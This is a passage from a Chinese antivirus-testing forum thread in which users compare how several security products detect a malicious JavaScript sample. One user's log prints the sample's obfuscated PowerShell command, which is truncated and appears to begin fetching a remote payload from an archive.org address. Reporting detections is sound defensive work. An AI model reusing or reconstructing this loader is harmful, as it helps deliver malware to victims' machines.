脚本 1X

kaspersky与火绒

解压密码：infected


360扫描miss

1073328164

迈克菲扫描 miss
opentip检出https://opentip.kaspersky.com/C9 ... /results?tab=upload

yaokai815

火绒 腾管 360 均 0x  瑞星 卡巴均 1x

UNknownOoo

火绒扫描&运行均MISS

1. 防护项目：隐藏执行PowerShell
   
2. 执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
3. 执行命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⻅ ㇃ ⎣ ⫦ ⫱Bp⻅ ㇃ ⎣ ⫦ ⫱G0⻅ ㇃ ⎣ ⫦ ⫱YQBn⻅ ㇃ ⎣ ⫦ ⫱GU⻅ ㇃ ⎣ ⫦ ⫱VQBy⻅ ㇃ ⎣ ⫦ ⫱Gw⻅ ㇃ ⎣ ⫦ ⫱I⻅ ㇃ ⎣ ⫦ ⫱⻅ ㇃ ⎣ ⫦ ⫱9⻅ ㇃ ⎣ ⫦ ⫱C⻅ ㇃ ⎣ ⫦ ⫱⻅ ㇃ ⎣ ⫦ ⫱JwBo⻅ ㇃ ⎣ ⫦ ⫱HQ⻅ ㇃ ⎣ ⫦ ⫱d⻅ ㇃ ⎣ ⫦ ⫱Bw⻅ ㇃ ⎣ ⫦ ⫱HM⻅ ㇃ ⎣ ⫦ ⫱Og⻅ ㇃ ⎣ ⫦ ⫱v⻅ ㇃ ⎣ ⫦ ⫱C8⻅ ㇃ ⎣ ⫦ ⫱aQBh⻅ ㇃ ⎣ ⫦ ⫱DY⻅ ㇃ ⎣ ⫦ ⫱M⻅ ㇃ ⎣ ⫦ ⫱⻅ ㇃ ⎣ ⫦ ⫱x⻅ ㇃ ⎣ ⫦ ⫱DY⻅ ㇃ ⎣ ⫦ ⫱M⻅ ㇃ ⎣ ⫦ ⫱⻅ ㇃ ⎣ ⫦ ⫱2⻅ ㇃ ⎣ ⫦ ⫱C4⻅ ㇃ ⎣ ⫦ ⫱dQBz⻅ ㇃ ⎣ ⫦ ⫱C4⻅ ㇃ ⎣ ⫦ ⫱YQBy⻅ ㇃ ⎣ ⫦ ⫱GM⻅ ㇃ ⎣ ⫦ ⫱a⻅ ㇃ ⎣ ⫦ ⫱Bp⻅ ㇃ ⎣ ⫦ ⫱HY⻅ ㇃ ⎣ ⫦ ⫱ZQ⻅ ㇃ ⎣ ⫦ ⫱u⻅ ㇃ ⎣ ⫦ ⫱G8⻅ ㇃ ⎣ ⫦ ⫱cgBn⻅ ㇃ ⎣ ⫦ ⫱C8⻅ ㇃ ⎣ ⫦ ⫱MQ⻅ ㇃ ⎣ ⫦ ⫱w⻅ ㇃ ⎣ ⫦ ⫱C8⻅ ㇃ ⎣ ⫦ ⫱aQB0
   
4. 操作结果：已允许
   
5. 进程ID：10584
   
6. 操作进程：C:\Users\Administrator\Desktop\INQUIRY_46789_MAT24_NEW_PROJECT_SAMPLE.js
   
7. 操作进程命令行："C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Desktop\INQUIRY_46789_MAT24_NEW_PROJECT_SAMPLE.js"
   
8. 父进程ID：5480
   
9. 父进程：C:\Windows\explorer.exe
   

复制代码

御坂14857号

360双击拦截行为并自动上报，随后报毒

Kingbatsoft

ESET扫描miss
双击拦截
时间;扫描程序;对象类型;对象;检测;操作;用户;信息;哈希;此处首次所见
2024/8/30 17:41:13;命令行扫描程序;文件;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe;PowerShell/Kryptik.GM 特洛伊木马;已通过删除清除;DESKTOP-VOL7CAS\Administrator;尝试运行以下命令时发生事件： "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\AppData\Local\Temp\7zO418AAD28\INQUIRY_46789_MAT24_NEW_PROJECT_SAMPLE.js" ;EFF1EBAD39E037FAB19FBD53F3C015E7545360CC;

DisaPDB

御坂14857号 发表于 2024-8-30 17:38
360双击拦截行为并自动上报，随后报毒

似乎拦截内容有所不同

1. 类型:木马-Generic/Trojan.Generic.HscATf0A
   
2. 描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
   
3. 扫描引擎:云安全引擎
   
4. 文件路径:C:\Users\seewo\Desktop\INQUIRY_46789_MAT24_NEW_PROJECT_SAMPLE.js
   
5. 文件大小:1.28M (1,346,674 字节)
   
6. 文件指纹（MD5）:e4b82b3738d246e3734ac96ac87dc0e8
   
7. 处理建议:隔离文件
   

复制代码

莒县小哥

御坂14857号

DisaPDB 发表于 2024-8-30 17:44
似乎拦截内容有所不同

我截的图是虚拟机里面360杀毒的拦截，可能报的内容不太一样？

aikafans

零蛋